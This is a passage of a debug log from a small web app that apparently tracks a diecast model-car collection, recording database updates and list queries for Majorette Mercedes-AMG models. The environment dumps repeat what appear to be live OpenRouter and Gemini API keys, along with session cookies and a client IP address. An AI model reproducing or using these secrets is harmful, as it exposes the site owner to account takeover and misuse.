    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:06:37.431Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:06:37.432Z server-connect:app Executing action step identify
2026-02-04T10:06:37.432Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:37.433Z server-connect:output identity: 1
2026-02-04T10:06:37.433Z server-connect:app Executing action step restrict
2026-02-04T10:06:37.433Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:37.433Z server-connect:output restrict: undefined
2026-02-04T10:06:37.433Z server-connect:app Executing action step condition
2026-02-04T10:06:37.433Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:06:37.433Z server-connect:app Executing action step update
2026-02-04T10:06:37.433Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:06:37.434Z server-connect:output update: { affected: 1 }
2026-02-04T10:06:37.434Z server-connect:app Executing action step upload
2026-02-04T10:06:37.434Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:06:37.434Z server-connect:output upload_image: []
2026-02-04T10:06:37.434Z server-connect:app Executing action step repeat
2026-02-04T10:06:37.434Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:06:37.434Z server-connect:output repeat_images: []
2026-02-04T10:06:37.434Z server-connect:output condition: undefined
2026-02-04T10:06:37.662Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:06:37.662Z server-connect:app Executing action step identify
2026-02-04T10:06:37.662Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:37.662Z server-connect:output identity: 1
2026-02-04T10:06:37.662Z server-connect:app Executing action step restrict
2026-02-04T10:06:37.662Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:06:37.663Z server-connect:output restrict: undefined
2026-02-04T10:06:37.663Z server-connect:app Executing action step paged
2026-02-04T10:06:37.663Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:06:37.665Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:06:37.882Z server-connect:router Serving templateView /
2026-02-04T10:06:37.882Z server-connect:app Executing action step identify
2026-02-04T10:06:37.882Z server-connect:app options: { provider: 'security' }
2026-02-04T10:06:37.882Z server-connect:output identity: 1
2026-02-04T10:06:37.882Z server-connect:app Executing action step restrict
2026-02-04T10:06:37.882Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:06:37.883Z server-connect:output restrict: undefined
2026-02-04T10:06:37.883Z server-connect:app Executing action step restrict
2026-02-04T10:06:37.883Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:06:37.883Z server-connect:output restrict: undefined
2026-02-04T10:06:37.883Z server-connect:router Render template layouts/main
2026-02-04T10:06:37.883Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:09:02.665Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:09:02.672Z server-connect:app Executing action step identify
2026-02-04T10:09:02.672Z server-connect:app options: { provider: 'security' }
2026-02-04T10:09:02.673Z server-connect:output identity: 1
2026-02-04T10:09:02.673Z server-connect:app Executing action step restrict
2026-02-04T10:09:02.673Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:09:02.674Z server-connect:output restrict: undefined
2026-02-04T10:09:02.674Z server-connect:app Executing action step condition
2026-02-04T10:09:02.674Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:09:02.674Z server-connect:app Executing action step update
2026-02-04T10:09:02.674Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:09:02.685Z server-connect:output update: { affected: 1 }
2026-02-04T10:09:02.685Z server-connect:app Executing action step upload
2026-02-04T10:09:02.685Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:09:02.685Z server-connect:output upload_image: []
2026-02-04T10:09:02.685Z server-connect:app Executing action step repeat
2026-02-04T10:09:02.685Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:09:02.685Z server-connect:output repeat_images: []
2026-02-04T10:09:02.685Z server-connect:output condition: undefined
2026-02-04T10:09:02.916Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:09:02.916Z server-connect:app Executing action step identify
2026-02-04T10:09:02.916Z server-connect:app options: { provider: 'security' }
2026-02-04T10:09:02.916Z server-connect:output identity: 1
2026-02-04T10:09:02.916Z server-connect:app Executing action step restrict
2026-02-04T10:09:02.916Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:09:02.917Z server-connect:output restrict: undefined
2026-02-04T10:09:02.917Z server-connect:app Executing action step paged
2026-02-04T10:09:02.917Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:09:02.921Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:09:03.136Z server-connect:router Serving templateView /
2026-02-04T10:09:03.136Z server-connect:app Executing action step identify
2026-02-04T10:09:03.136Z server-connect:app options: { provider: 'security' }
2026-02-04T10:09:03.136Z server-connect:output identity: 1
2026-02-04T10:09:03.136Z server-connect:app Executing action step restrict
2026-02-04T10:09:03.136Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:09:03.137Z server-connect:output restrict: undefined
2026-02-04T10:09:03.137Z server-connect:app Executing action step restrict
2026-02-04T10:09:03.137Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:09:03.137Z server-connect:output restrict: undefined
2026-02-04T10:09:03.137Z server-connect:router Render template layouts/main
2026-02-04T10:09:03.137Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:14:26.155Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:14:26.155Z server-connect:app Executing action step identify
2026-02-04T10:14:26.155Z server-connect:app options: { provider: 'security' }
2026-02-04T10:14:26.155Z server-connect:output identity: 1
2026-02-04T10:14:26.155Z server-connect:app Executing action step restrict
2026-02-04T10:14:26.155Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:14:26.157Z server-connect:output restrict: undefined
2026-02-04T10:14:26.157Z server-connect:app Executing action step condition
